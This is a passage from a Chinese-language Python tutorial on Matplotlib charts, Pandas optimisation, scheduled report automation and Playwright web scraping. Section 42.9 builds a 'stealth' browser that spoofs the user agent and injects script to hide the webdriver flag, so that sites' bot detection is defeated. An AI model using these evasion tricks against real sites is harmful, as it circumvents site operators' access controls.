axes[0, 0].set_title("各商品总销售额")
axes[0, 0].set_ylabel("销售额(元)")
axes[0, 0].tick_params(axis="x", rotation=0)

# ===== 图 2:月度销售趋势折线图 =====
monthly.plot(kind="line", ax=axes[0, 1], marker="o", color="#16a34a")
axes[0, 1].set_title("月度销售趋势")
axes[0, 1].set_ylabel("销售额(元)")
axes[0, 1].set_xlabel("月份")

# ===== 图 3:城市销售占比饼图 =====
city_stats["总销售额"].plot(kind="pie", ax=axes[1, 0], autopct="%1.1f%%")
axes[1, 0].set_title("各城市销售占比")
axes[1, 0].set_ylabel("")

# ===== 图 4:商品销量对比 =====
product_stats["销售数量"].plot(kind="barh", ax=axes[1, 1], color="#d97706")
axes[1, 1].set_title("各商品销量")

plt.tight_layout()
plt.savefig("sales_analysis.png", dpi=150, bbox_inches="tight")
plt.show()

40.3 Matplotlib 可视化详解——"让数据开口说话"

生活类比

数据可视化就像给数据"拍照":原始数据是素颜的数字,Matplotlib 就是相机+美颜滤镜。折线图看趋势(像心电图),柱状图比大小(像条形码),饼图看占比(像切蛋糕),散点图找关联(像星座图)。选对图表类型,就像选对拍照角度——数据的"美"才能展现出来。

39.3.1 基础图表——四种最常用的图

import matplotlib.pyplot as plt
import numpy as np

# 解决中文乱码
plt.rcParams["font.sans-serif"] = ["SimHei", "Microsoft YaHei"]
plt.rcParams["axes.unicode_minus"] = False

# ===== 折线图:看趋势 =====
months = ["1月", "2月", "3月", "4月", "5月", "6月"]
sales_a = [120, 135, 148, 162, 155, 180]
sales_b = [90, 105, 130, 140, 160, 175]

plt.figure(figsize=(8, 5))
plt.plot(months, sales_a, marker="o", linewidth=2, label="产品A", color="#2563eb")
plt.plot(months, sales_b, marker="s", linewidth=2, label="产品B", color="#dc2626")
plt.title("上半年产品销量趋势", fontsize=16)
plt.xlabel("月份")
plt.ylabel("销量(万台)")
plt.legend()
plt.grid(True, alpha=0.3)
plt.savefig("line_chart.png", dpi=150, bbox_inches="tight")
plt.show()
# ===== 柱状图:比大小 =====
products = ["手机", "笔记本", "耳机", "平板", "手表"]
revenue = [158000, 240000, 45000, 89000, 64000]
colors = ["#2563eb", "#dc2626", "#16a34a", "#d97706", "#7c3aed"]

plt.figure(figsize=(8, 5))
bars = plt.bar(products, revenue, color=colors, width=0.6)

# 在柱子顶部显示数值
for bar, val in zip(bars, revenue):
    plt.text(bar.get_x() + bar.get_width()/2, bar.get_height() + 2000,
             f"¥{val:,}", ha="center", fontsize=10)

plt.title("各产品销售额对比", fontsize=16)
plt.ylabel("销售额(元)")
plt.ylim(0, max(revenue) * 1.15)  # 留出标签空间
plt.show()
# ===== 饼图:看占比 =====
cities = ["北京", "上海", "广州", "深圳", "杭州"]
shares = [30, 25, 18, 15, 12]
explode = (0.05, 0, 0, 0, 0)  # 突出第一块

plt.figure(figsize=(7, 7))
plt.pie(shares, labels=cities, explode=explode, autopct="%1.1f%%",
        colors=["#2563eb", "#dc2626", "#16a34a", "#d97706", "#7c3aed"],
        shadow=True, startangle=90)
plt.title("各城市销售占比", fontsize=16)
plt.show()
# ===== 散点图:找关联 =====
np.random.seed(42)
ad_spend = np.random.uniform(1000, 50000, 50)     # 广告投入
sales = ad_spend * np.random.uniform(1.5, 3.5, 50) + np.random.normal(0, 5000, 50)  # 销售额

plt.figure(figsize=(8, 5))
plt.scatter(ad_spend, sales, c="#2563eb", alpha=0.6, edgecolors="white", s=80)
plt.title("广告投入 vs 销售额", fontsize=16)
plt.xlabel("广告投入(元)")
plt.ylabel("销售额(元)")

# 添加趋势线
z = np.polyfit(ad_spend, sales, 1)
p = np.poly1d(z)
plt.plot(sorted(ad_spend), p(sorted(ad_spend)), "--", color="#dc2626", linewidth=2, label="趋势线")
plt.legend()
plt.grid(True, alpha=0.3)
plt.show()

39.3.2 子图布局——一张画布画多张图

# ===== 方法一:subplots(推荐,最灵活)=====
fig, axes = plt.subplots(2, 2, figsize=(12, 10))

# 左上:折线图
axes[0, 0].plot(months, sales_a, marker="o", color="#2563eb")
axes[0, 0].set_title("月度趋势")

# 右上:柱状图
axes[0, 1].bar(products, revenue, color=colors)
axes[0, 1].set_title("产品对比")

# 左下:饼图
axes[1, 0].pie(shares, labels=cities, autopct="%1.1f%%")
axes[1, 0].set_title("城市占比")

# 右下:散点图
axes[1, 1].scatter(ad_spend, sales, alpha=0.6)
axes[1, 1].set_title("广告效果")

plt.suptitle("销售数据综合分析看板", fontsize=18, y=1.02)
plt.tight_layout()
plt.show()
# ===== 方法二:GridSpec(不规则布局)=====
from matplotlib.gridspec import GridSpec

fig = plt.figure(figsize=(12, 8))
gs = GridSpec(2, 2, figure=fig)

# 大图占左半边(跨两行)
ax1 = fig.add_subplot(gs[:, 0])    # 左边占满两行
ax2 = fig.add_subplot(gs[0, 1])    # 右上
ax3 = fig.add_subplot(gs[1, 1])    # 右下

ax1.bar(products, revenue, color=colors)
ax1.set_title("产品销售额(主图)")

ax2.plot(months, sales_a, marker="o")
ax2.set_title("月度趋势")

ax3.pie(shares, labels=cities, autopct="%1.1f%%")
ax3.set_title("城市占比")

plt.tight_layout()
plt.show()

39.3.3 样式美化——让图表更专业

# ===== 内置样式(一键美化)=====
print(plt.style.available)  # 查看所有可用样式
# ['ggplot', 'seaborn', 'bmh', 'dark_background', 'fivethirtyeight', ...]

plt.style.use("ggplot")  # 使用 ggplot 风格(类似 R 语言)

# ===== 自定义颜色方案 =====
# 推荐配色网站:coolors.co
COLORS = {
    "primary": "#2563eb",
    "danger": "#dc2626",
    "success": "#16a34a",
    "warning": "#d97706",
    "purple": "#7c3aed",
}

# ===== 图表模板(封装复用)=====
def styled_bar(x, y, title="", xlabel="", ylabel="", color="#2563eb"):
    """带样式的柱状图模板"""
    fig, ax = plt.subplots(figsize=(8, 5))
    bars = ax.bar(x, y, color=color, width=0.6, edgecolor="white", linewidth=0.5)

    for bar, val in zip(bars, y):
        ax.text(bar.get_x() + bar.get_width()/2, bar.get_height() + max(y)*0.02,
                f"{val:,.0f}", ha="center", fontsize=10, fontweight="bold")

    ax.set_title(title, fontsize=16, fontweight="bold", pad=15)
    ax.set_xlabel(xlabel, fontsize=12)
    ax.set_ylabel(ylabel, fontsize=12)
    ax.spines["top"].set_visible(False)
    ax.spines["right"].set_visible(False)
    ax.set_ylim(0, max(y) * 1.15)
    plt.tight_layout()
    return fig

# 使用模板
styled_bar(products, revenue, "2024年各产品销售额", "产品", "销售额(元)", "#2563eb")
plt.show()

39.3.4 保存与导出

# ===== 保存为图片 =====
plt.savefig("chart.png", dpi=150, bbox_inches="tight")   # PNG(适合网页)
plt.savefig("chart.pdf", bbox_inches="tight")              # PDF(适合论文)
plt.savefig("chart.svg", bbox_inches="tight")              # SVG(矢量图,无限放大)

# ===== 保存为高清图(论文/报告用)=====
plt.savefig("chart_hd.png", dpi=300, bbox_inches="tight",
            facecolor="white", edgecolor="none")

# ===== 批量保存多张图 =====
for i, (name, data) in enumerate(chart_data.items()):
    fig, ax = plt.subplots()
    ax.bar(data["x"], data["y"])
    ax.set_title(name)
    fig.savefig(f"output/{name}.png", dpi=150, bbox_inches="tight")
    plt.close(fig)  # 关闭图释放内存(批量生成时必须!)
Matplotlib 速查表
图表类型函数适用场景
折线图plt.plot()趋势变化(时间序列)
柱状图plt.bar()分类对比
散点图plt.scatter()两变量相关性
饼图plt.pie()占比分布
直方图plt.hist()数据分布
箱线图plt.boxplot()异常值检测
热力图plt.imshow()矩阵数据可视化

40.4 Pandas 性能优化——"大数据量下的加速技巧"

apply 是性能杀手

df.apply(func) 本质上是逐行循环,比向量化操作慢 100 倍以上。能用向量化操作的,绝对不要用 apply。

import pandas as pd
import numpy as np

df = pd.DataFrame({"价格": np.random.randint(100, 10000, 100000)})

# ===== ❌ 用 apply:逐行循环,慢 =====
%timeit df["折扣价"] = df["价格"].apply(lambda x: x * 0.8)
# 约 15 毫秒

# ===== ✅ 用向量化:整列同时计算,快 =====
%timeit df["折扣价"] = df["价格"] * 0.8
# 约 0.1 毫秒(快 150 倍!)

# ===== ❌ 用 apply 做条件判断 =====
def categorize(price):
    if price < 500:
        return "低价"
    elif price < 2000:
        return "中价"
    else:
        return "高价"

%timeit df["分类"] = df["价格"].apply(categorize)
# 约 50 毫秒

# ===== ✅ 用 np.where 或 pd.cut 做条件判断 =====
%timeit df["分类"] = pd.cut(df["价格"], bins=[0, 500, 2000, float("inf")], labels=["低价", "中价", "高价"])
# 约 1 毫秒(快 50 倍!)

# ===== 性能优化清单 =====
# 1. 用向量化操作代替 apply(df["a"] * df["b"])
# 2. 用 pd.cut/np.where 代替 apply + if-else
# 3. 用 .str 访问器处理字符串(df["name"].str.lower())
# 4. 用 .dt 访问器处理日期(df["date"].dt.month)
# 5. 读取 CSV 时指定 dtype 和 usecols(只读需要的列)
# 6. 大文件用 chunksize 分块读取
# ===== 大文件分块读取 =====
# 如果 CSV 有 10GB,不可能全部加载到内存
# 用 chunksize 分块处理,每块 10000 行
chunks = pd.read_csv("huge_file.csv", chunksize=10000)
results = []
for chunk in chunks:
    # 每块独立处理
    result = chunk.groupby("商品")["销售额"].sum()
    results.append(result)

# 合并所有块的结果
final = pd.concat(results).groupby(level=0).sum()
常见错误总结
  • Pandas 链式赋值:df[df['age']>18]['name'] = 'X' 会报警告且不生效,用 df.loc[df['age']>18, 'name'] = 'X'
  • Matplotlib 中文乱码:必须设置 plt.rcParams['font.sans-serif'] = ['SimHei']
  • 用 apply 做向量化操作:apply 本质是循环,比向量化慢 100 倍。能用 df["a"] * df["b"] 就不要用 apply
  • 忘记处理缺失值:缺失值会导致聚合结果错误(sum 会忽略,但 mean 可能不符合预期)
  • 大数据量不指定 dtype:读取 CSV 时不指定 dtype,Pandas 会自动推断,可能占用过多内存
  • 不设置 plt.show():在脚本中必须调用 plt.show() 才能显示图表

第四十一章:项目实战——自动化工具

本章导览

Python 最擅长的领域之一就是自动化。但一个"能跑"的脚本和一个"能用在生产环境"的脚本差距巨大。本章会教你用 Python 构建工程化的自动化工具——不只是"能跑",还要有日志记录、配置管理、重试机制、定时调度和错误恢复。就像从"路边摊"升级到"连锁餐厅"——标准、可靠、可维护。

41.1 日志记录——"比 print 专业 100 倍"

生活类比

你在家里做饭,出了问题可以"尝一口看看"(print 调试)。但如果你在餐厅当厨师,每道菜都要记录"谁做的、几点做的、用了什么材料"(日志记录)。因为出了问题,你需要回溯排查。日志就是程序的"厨房日志"。

import logging
from pathlib import Path

# ===== 配置日志系统 =====
def setup_logger(name: str, log_file: str = "app.log") -> logging.Logger:
    """创建带文件和控制台输出的 logger"""
    logger = logging.getLogger(name)
    logger.setLevel(logging.DEBUG)

    # 控制台 handler:只显示 INFO 及以上
    console = logging.StreamHandler()
    console.setLevel(logging.INFO)
    console.setFormatter(logging.Formatter(
        "%(asctime)s [%(levelname)s] %(message)s",
        datefmt="%H:%M:%S"
    ))

    # 文件 handler:记录 DEBUG 及以上(包含详细信息)
    file_handler = logging.FileHandler(log_file, encoding="utf-8")
    file_handler.setLevel(logging.DEBUG)
    file_handler.setFormatter(logging.Formatter(
        "%(asctime)s [%(levelname)s] %(name)s:%(lineno)d - %(message)s",
        datefmt="%Y-%m-%d %H:%M:%S"
    ))

    logger.addHandler(console)
    logger.addHandler(file_handler)
    return logger

# 使用
logger = setup_logger("auto_tool")

logger.debug("调试信息(只在文件中)")     # 不会显示在控制台
logger.info("任务开始执行")                # 控制台 + 文件
logger.warning("磁盘空间不足")            # ⚠️ 需要注意
logger.error("文件读取失败")              # ❌ 出了问题
logger.critical("数据库连接断开")          # 💀 严重错误

# ===== 日志的五个级别(从低到高)=====
# DEBUG    → 开发调试用,生产环境不输出
# INFO     → 正常运行信息(任务开始/结束)
# WARNING  → 需要注意但不影响运行(磁盘快满了)
# ERROR    → 出了问题,需要修复(文件读取失败)
# CRITICAL → 严重错误,程序可能无法继续(数据库断连)
日志最佳实践
  • 不要用 print 代替日志:print 没有级别、没有时间戳、不能输出到文件、不能按模块过滤
  • 每个模块用自己的 logger:logger = logging.getLogger(__name__),方便按模块控制级别
  • 敏感信息不要写入日志:密码、token、身份证号等绝对不能出现在日志中
  • 日志文件要 rotation:用 logging.handlers.RotatingFileHandler 防止日志文件撑爆磁盘

41.2 配置文件——"把硬编码抽出来"

生活类比

你开了一家连锁餐厅,每家店的菜单、价格、营业时间都不一样。你不会把这些信息"硬编码"到每个员工的脑子里,而是写在一本"运营手册"(配置文件)里。换一家店,换一本手册就行,不需要重新培训员工。

# pip install pyyaml

# ===== config.yaml —— YAML 配置文件 =====
# database:
#   host: localhost
#   port: 5432
#   name: mydb
#   user: admin
#   password: ${DB_PASSWORD}  # 从环境变量读取
#
# email:
#   smtp_server: smtp.gmail.com
#   smtp_port: 465
#   sender: your_email@gmail.com
#
# schedule:
#   daily_report: "08:30"
#   data_backup: "02:00"
#
# logging:
#   level: INFO
#   file: logs/app.log

# ===== 加载配置文件 =====
import yaml
import os
from pathlib import Path

def load_config(config_path: str = "config.yaml") -> dict:
    """加载 YAML 配置文件,支持环境变量替换"""
    path = Path(config_path)
    if not path.exists():
        raise FileNotFoundError(f"配置文件不存在:{config_path}")

    with open(path, "r", encoding="utf-8") as f:
        config = yaml.safe_load(f)

    # 替换 ${ENV_VAR} 为环境变量值
    def replace_env(value):
        if isinstance(value, str) and value.startswith("${") and value.endswith("}"):
            env_key = value[2:-1]
            return os.environ.get(env_key, value)
        return value

    def walk_replace(obj):
        if isinstance(obj, dict):
            return {k: walk_replace(replace_env(v)) for k, v in obj.items()}
        elif isinstance(obj, list):
            return [walk_replace(replace_env(i)) for i in obj]
        return replace_env(obj)

    return walk_replace(config)

# 使用
config = load_config()
print(config["database"]["host"])  # localhost
print(config["schedule"]["daily_report"])  # 08:30

41.3 重试机制——"失败了自动再来一次"

生活类比

你打电话给朋友,第一次没人接——等 1 秒再打。第二次还没人接——等 2 秒再打。第三次终于接了。如果三次都没接,你就放弃了。这就是"指数退避重试"策略:失败后等的时间越来越长,最多重试 N 次。

# pip install tenacity

from tenacity import retry, stop_after_attempt, wait_exponential, retry_if_exception_type
import requests
import logging

logger = logging.getLogger(__name__)

# ===== 基本用法:最多重试 3 次 =====
@retry(stop=stop_after_attempt(3))
def fetch_data(url: str) -> dict:
    """获取数据(失败自动重试 3 次)"""
    response = requests.get(url, timeout=10)
    response.raise_for_status()
    return response.json()

# ===== 高级用法:指数退避 + 只重试特定异常 =====
@retry(
    stop=stop_after_attempt(5),              # 最多重试 5 次
    wait=wait_exponential(multiplier=1, max=30),  # 指数退避:1s, 2s, 4s, 8s, 16s(最大 30s)
    retry=retry_if_exception_type((ConnectionError, TimeoutError)),  # 只重试网络错误
    before_sleep=lambda retry_state: logger.warning(
        f"第 {retry_state.attempt_number} 次重试,原因:{retry_state.outcome.exception()}"
    ),
)
def reliable_api_call(url: str, data: dict) -> dict:
    """可靠的 API 调用(自动重试 + 指数退避)"""
    response = requests.post(url, json=data, timeout=10)
    response.raise_for_status()
    return response.json()

# 使用
try:
    result = reliable_api_call("https://api.example.com/data", {"key": "value"})
    logger.info(f"API 调用成功:{result}")
except Exception as e:
    logger.error(f"API 调用最终失败(已重试 5 次):{e}")

41.4 定时任务调度——"让脚本按时自动运行"

# pip install apscheduler

from apscheduler.schedulers.blocking import BlockingScheduler
from apscheduler.triggers.cron import CronTrigger
import logging

logger = logging.getLogger(__name__)
scheduler = BlockingScheduler()

# ===== 方式 1:间隔调度 =====
@scheduler.scheduled_job("interval", seconds=30)
def check_system():
    """每 30 秒检查一次系统状态"""
    logger.info("系统状态检查...")

# ===== 方式 2:Cron 调度(类 Linux crontab)=====
@scheduler.scheduled_job(CronTrigger(hour=8, minute=30))
def daily_report():
    """每天 8:30 生成日报"""
    logger.info("开始生成日报...")

@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def data_backup():
    """每天凌晨 2:00 备份数据"""
    logger.info("开始数据备份...")

@scheduler.scheduled_job(CronTrigger(day_of_week="mon", hour=9))
def weekly_summary():
    """每周一 9:00 生成周报"""
    logger.info("开始生成周报...")

# ===== 启动调度器 =====
if __name__ == "__main__":
    logger.info("调度器启动")
    try:
        scheduler.start()
    except (KeyboardInterrupt, SystemExit):
        logger.info("调度器停止")

41.5 完整实战:自动化日报生成工具

#!/usr/bin/env python3
"""
auto_report.py —— 自动化日报生成工具
功能:每天自动从数据库读取数据 → 生成 Excel 报表 → 发送邮件通知
"""
import logging
import yaml
import smtplib
from pathlib import Path
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from email.mime.text import MIMEText
from tenacity import retry, stop_after_attempt, wait_exponential
from apscheduler.schedulers.blocking import BlockingScheduler
from apscheduler.triggers.cron import CronTrigger

# ===== 1. 配置 =====
def load_config():
    with open("config.yaml", "r", encoding="utf-8") as f:
        return yaml.safe_load(f)

# ===== 2. 日志 =====
def setup_logging(config):
    logging.basicConfig(
        level=getattr(logging, config.get("level", "INFO")),
        format="%(asctime)s [%(levelname)s] %(message)s",
        handlers=[
            logging.FileHandler(config.get("file", "report.log"), encoding="utf-8"),
            logging.StreamHandler(),
        ]
    )

logger = logging.getLogger(__name__)

# ===== 3. 数据处理 =====
def generate_report():
    """生成日报(模拟)"""
    import pandas as pd

    logger.info("开始生成日报...")

    # 读取数据
    df = pd.read_csv("sales_data.csv")
    logger.info(f"读取数据:{len(df)} 条记录")

    # 数据清洗
    df = df.dropna(subset=["amount"])
    df = df[df["amount"] > 0]

    # 生成统计
    summary = {
        "日期": datetime.now().strftime("%Y-%m-%d"),
        "总订单数": len(df),
        "总销售额": df["amount"].sum(),
        "平均客单价": df["amount"].mean(),
    }

    # 保存为 Excel
    output = Path("reports") / f"daily_{datetime.now():%Y%m%d}.xlsx"
    output.parent.mkdir(exist_ok=True)
    df.to_excel(str(output), index=False)
    logger.info(f"日报已生成:{output}")

    return output, summary

# ===== 4. 发送邮件(带重试)=====
@retry(stop=stop_after_attempt(3), wait=wait_exponential(multiplier=1, max=10))
def send_report_email(config, report_path, summary):
    """发送日报邮件(失败重试 3 次)"""
    email_conf = config["email"]

    msg = MIMEMultipart()
    msg["From"] = email_conf["sender"]
    msg["To"] = email_conf["recipients"]
    msg["Subject"] = f"日报 - {summary['日期']}"

    body = f"""
    <h2>每日销售日报</h2>
    <ul>
      <li>总订单数:{summary['总订单数']}</li>
      <li>总销售额:¥{summary['总销售额']:,.2f}</li>
      <li>平均客单价:¥{summary['平均客单价']:,.2f}</li>
    </ul>
    """
    msg.attach(MIMEText(body, "html"))

    # 附件
    with open(report_path, "rb") as f:
        attachment = MIMEBase("application", "octet-stream")
        attachment.set_payload(f.read())
        encoders.encode_base64(attachment)
        attachment.add_header("Content-Disposition", f"attachment; filename={report_path.name}")
        msg.attach(attachment)

    with smtplib.SMTP_SSL(email_conf["smtp_server"], email_conf["smtp_port"]) as server:
        server.login(email_conf["sender"], email_conf["password"])
        server.send_message(msg)

    logger.info(f"日报邮件已发送至 {email_conf['recipients']}")

# ===== 5. 主流程 =====
def daily_job():
    """每日任务:生成日报 + 发送邮件"""
    try:
        config = load_config()
        report_path, summary = generate_report()
        send_report_email(config, report_path, summary)
        logger.info("今日任务完成")
    except Exception as e:
        logger.error(f"任务执行失败:{e}", exc_info=True)

# ===== 6. 调度 =====
if __name__ == "__main__":
    config = load_config()
    setup_logging(config.get("logging", {}))

    scheduler = BlockingScheduler()
    scheduler.add_job(daily_job, CronTrigger(hour=9, minute=0))
    logger.info("日报调度器启动,每天 9:00 执行")

    try:
        scheduler.start()
    except (KeyboardInterrupt, SystemExit):
        logger.info("调度器停止")

41.6 文件批量处理与 Excel 操作

from pathlib import Path
import shutil

# ===== 批量重命名 =====
folder = Path("photos")
for i, f in enumerate(folder.glob("*.jpg"), 1):
    f.rename(folder / f"photo_{i:03d}.jpg")

# ===== 批量统计文件大小 =====
total = sum(f.stat().st_size for f in Path(".").rglob("*") if f.is_file())
print(f"总大小:{total / 1024 / 1024:.2f} MB")

# ===== 幂等的文件复制(只复制更新的文件)=====
src = Path("data.csv")
dst = Path("backup/data.csv")
if not dst.exists() or src.stat().st_mtime > dst.stat().st_mtime:
    shutil.copy2(src, dst)
    logger.info("已更新备份")
else:
    logger.info("备份已是最新,跳过")
# pip install openpyxl
from openpyxl import Workbook, load_workbook

# ===== 创建 Excel =====
wb = Workbook()
ws = wb.active
ws.title = "学生成绩"
ws.append(["姓名", "语文", "数学", "英语"])
ws.append(["张三", 90, 85, 92])
ws.append(["李四", 78, 95, 80])
wb.save("students.xlsx")

# ===== 读取 Excel =====
wb = load_workbook("students.xlsx")
ws = wb.active
for row in ws.iter_rows(min_row=2, values_only=True):
    name, *scores = row
    avg = sum(scores) / len(scores)
    print(f"{name}:平均分 {avg:.1f}")
常见错误总结
  • 用 print 代替日志:print 没有级别、没有时间戳、不能输出到文件。正式项目必须用 logging
  • 敏感信息写入配置文件并提交到 git:密码、密钥等应该用环境变量,配置文件加入 .gitignore
  • 重试没有退避:立刻重试可能加剧问题(如服务器过载),应该用指数退避(1s, 2s, 4s...)
  • 定时任务没有错误处理:定时任务中如果一个函数抛异常,整个调度器可能停止。每个任务都要 try-except
  • 路径拼接用字符串:不要用 "dir" + "/" + "file",用 Path("dir") / "file" 兼容多平台
  • subprocess 用 shell=True:执行用户输入的命令时会有命令注入风险,用列表参数代替

第四十二章:Playwright 爬虫——浏览器自动化

本章导览

Selenium 曾是浏览器自动化的首选,但 Playwright 凭借更快的速度、更稳定的等待机制和更简洁的 API,已经成为新一代王者。本章教你用 Playwright 实现网页自动化、动态页面抓取、表单填写、截图录屏等操作,轻松应对现代 Web 爬虫的挑战。

42.1 为什么选 Playwright?

自动等待
元素自动等待可见、可交互,不用手动 sleep
多浏览器
支持 Chromium、Firefox、WebKit,一套代码三种引擎
无头模式
无头模式下速度更快,适合服务器环境
异步支持
原生 async/await 支持,轻松并发抓取
# 安装
# pip install playwright
# playwright install chromium  # 安装浏览器(首次需要)

42.2 快速入门

from playwright.sync_api import sync_playwright

# 同步方式使用
with sync_playwright() as p:
    # 启动浏览器(headless=False 可以看到浏览器界面)
    browser = p.chromium.launch(headless=True)
    page = browser.new_page()

    # 访问网页
    page.goto("https://example.com")

    # 获取页面标题
    print(f"标题:{page.title()}")

    # 获取页面内容
    print(f"内容:{page.content()}")

    # 截图
    page.screenshot(path="screenshot.png")

    # 关闭浏览器
    browser.close()

42.3 元素定位与操作

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)
    page = browser.new_page()
    page.goto("https://example.com")

    # ===== 元素定位方式 =====

    # CSS 选择器
    element = page.locator("h1")                    # 标签选择器
    element = page.locator(".title")                 # 类选择器
    element = page.locator("#main")                  # ID 选择器
    element = page.locator("div.content > p")        # 子元素选择器

    # 文本定位
    element = page.get_by_text("More information")   # 包含文本
    element = page.get_by_text("More", exact=True)   # 精确文本

    # 角色定位(推荐)
    element = page.get_by_role("heading", level=1)   # 标题
    element = page.get_by_role("link", name="More")  # 链接
    element = page.get_by_role("button", name="提交") # 按钮

    # 占位符定位
    element = page.get_by_placeholder("请输入用户名")

    # 标签定位
    element = page.get_by_label("用户名")

    # ===== 元素操作 =====

    # 点击
    element.click()

    # 输入文本
    element.fill("Hello, Playwright!")

    # 获取文本
    text = element.text_content()       # 文本内容
    inner = element.inner_text()        # 内部文本

    # 获取属性
    href = element.get_attribute("href") # 链接地址

    # 判断状态
    is_visible = element.is_visible()    # 是否可见
    is_enabled = element.is_enabled()    # 是否可用

    browser.close()

42.4 表单操作

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)
    page = browser.new_page()

    # 假设有一个登录页面
    page.goto("https://example.com/login")

    # 填写表单
    page.get_by_label("用户名").fill("admin")
    page.get_by_label("密码").fill("password123")

    # 勾选复选框
    page.get_by_label("记住我").check()

    # 选择下拉框
    page.get_by_label("城市").select_option("beijing")

    # 上传文件
    page.get_by_label("头像").set_input_files("avatar.jpg")

    # 点击提交按钮
    page.get_by_role("button", name="登录").click()

    # 等待页面跳转
    page.wait_for_url("**/dashboard")

    print(f"当前页面:{page.url}")

    browser.close()

42.5 等待与异步操作

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)
    page = browser.new_page()
    page.goto("https://example.com")

    # ===== 自动等待(Playwright 的核心优势)=====

    # 点击时会自动等待元素可见、可点击
    page.get_by_role("button", name="加载更多").click()

    # 等待特定选择器出现
    page.wait_for_selector(".content-loaded")

    # 等待网络请求完成
    page.wait_for_load_state("networkidle")

    # 等待特定文本出现
    page.wait_for_function("document.body.innerText.includes('加载完成')")

    # 等待导航完成
    with page.expect_navigation():
        page.get_by_role("link", name="下一页").click()

    # ===== 超时设置 =====
    page.get_by_role("button", name="提交").click(timeout=10000)  # 10秒超时

    browser.close()

42.6 异步模式(并发抓取)

import asyncio
from playwright.async_api import async_playwright

async def scrape_page(url):
    """异步抓取单个页面"""
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        page = await browser.new_page()

        await page.goto(url)
        title = await page.title()
        content = await page.text_content("body")

        await browser.close()
        return {"url": url, "title": title, "content": content[:200]}

async def main():
    """并发抓取多个页面"""
    urls = [
        "https://example.com",
        "https://example.org",
        "https://example.net",
    ]

    # 并发执行
    tasks = [scrape_page(url) for url in urls]
    results = await asyncio.gather(*tasks)

    for result in results:
        print(f"{result['title']}: {result['url']}")

# 运行
asyncio.run(main())

42.7 处理动态页面(无限滚动、懒加载)

from playwright.sync_api import sync_playwright
import time

def scrape_infinite_scroll(url, max_scrolls=10):
    """抓取无限滚动页面"""
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        page = browser.new_page()
        page.goto(url)

        all_items = []

        for i in range(max_scrolls):
            # 获取当前可见的元素
            items = page.query_selector_all(".item")
            new_count = len(items) - len(all_items)

            if new_count > 0:
                print(f"第 {i+1} 次滚动,新增 {new_count} 条数据")
                all_items = items

            # 滚动到底部
            page.evaluate("window.scrollTo(0, document.body.scrollHeight)")

            # 等待新内容加载
            page.wait_for_timeout(1000)  # 等待 1 秒

            # 检查是否还有更多内容
            if page.query_selector(".no-more-data"):
                print("没有更多数据了")
                break

        # 提取数据
        results = []
        for item in all_items:
            title = item.query_selector(".title").text_content()
            results.append(title)

        browser.close()
        return results

42.8 截图与 PDF

from playwright.sync_api import sync_playwright

with sync_playwright() as p:
    browser = p.chromium.launch(headless=True)
    page = browser.new_page()

    # 设置视口大小
    page.set_viewport_size({"width": 1920, "height": 1080})

    page.goto("https://example.com")

    # 整页截图
    page.screenshot(path="full_page.png", full_page=True)

    # 可见区域截图
    page.screenshot(path="viewport.png")

    # 元素截图
    element = page.locator("h1")
    element.screenshot(path="element.png")

    # 生成 PDF(仅 Chromium 无头模式支持)
    page.pdf(path="page.pdf", format="A4")

    browser.close()

42.9 反爬处理技巧

from playwright.sync_api import sync_playwright

def create_stealth_browser():
    """创建反检测浏览器"""
    with sync_playwright() as p:
        # 设置浏览器参数
        browser = p.chromium.launch(
            headless=True,
            args=[
                "--disable-blink-features=AutomationControlled",  # 禁用自动化检测
                "--disable-features=IsolateOrigins,site-per-process",
            ]
        )

        # 创建上下文(模拟真实用户)
        context = browser.new_context(
            user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
            viewport={"width": 1920, "height": 1080},
            locale="zh-CN",
            timezone_id="Asia/Shanghai",
        )

        # 注入 JavaScript 隐藏自动化特征
        context.add_init_script("""
            Object.defineProperty(navigator, 'webdriver', {get: () => undefined});
            Object.defineProperty(navigator, 'plugins', {get: () => [1, 2, 3, 4, 5]});
            Object.defineProperty(navigator, 'languages', {get: () => ['zh-CN', 'zh', 'en']});
        """)

        page = context.new_page()
        return browser, page

42.10 完整实战:电商商品抓取

import asyncio
import json
from playwright.async_api import async_playwright

class ProductScraper:
    def __init__(self):
        self.products = []

    async def scrape_product_page(self, page, url):
        """抓取单个商品页面"""
        await page.goto(url, wait_until="networkidle")

        # 等待商品信息加载
        await page.wait_for_selector(".product-info")

        # 提取商品信息
        product = {
            "title": await page.text_content(".product-title"),
            "price": await page.text_content(".product-price"),
            "description": await page.text_content(".product-desc"),
            "images": await page.eval_on_selector_all(
                ".product-images img",
                "elements => elements.map(el => el.src)"
            ),
            "url": url
        }

        return product

    async def scrape_product_list(self, page, list_url):
        """抓取商品列表"""
        await page.goto(list_url, wait_until="networkidle")

        # 获取所有商品链接
        links = await page.eval_on_selector_all(
            ".product-item a",
            "elements => elements.map(el => el.href)"
        )

        print(f"找到 {len(links)} 个商品")

        # 逐个抓取(控制并发避免被封)
        for i, link in enumerate(links[:10]):  # 只抓前10个
            try:
                product = await self.scrape_product_page(page, link)
                self.products.append(product)
                print(f"已抓取:{product['title']}")
                await page.wait_for_timeout(1000)  # 礼貌延迟
            except Exception as e:
                print(f"抓取失败:{link} - {e}")

    async def run(self):
        async with async_playwright() as p:
            browser = await p.chromium.launch(headless=True)
            page = await browser.new_page()

            await self.scrape_product_list(page, "https://example.com/products")

            # 保存结果
            with open("products.json", "w", encoding="utf-8") as f:
                json.dump(self.products, f, ensure_ascii=False, indent=2)

            print(f"\n抓取完成,共 {len(self.products)} 个商品")
            await browser.close()

# 运行
asyncio.run(ProductScraper().run())
Playwright 最佳实践
  • 优先用 get_by_role 定位:比 CSS 选择器更稳定,不依赖页面结构
  • 利用自动等待:不要手动 sleep,让 Playwright 自己等待元素就绪
  • 用无头模式:生产环境必须用 headless=True,速度更快
  • 控制并发:不要同时打开太多浏览器,会占用大量内存
  • 设置超时:为关键操作设置合理的超时时间
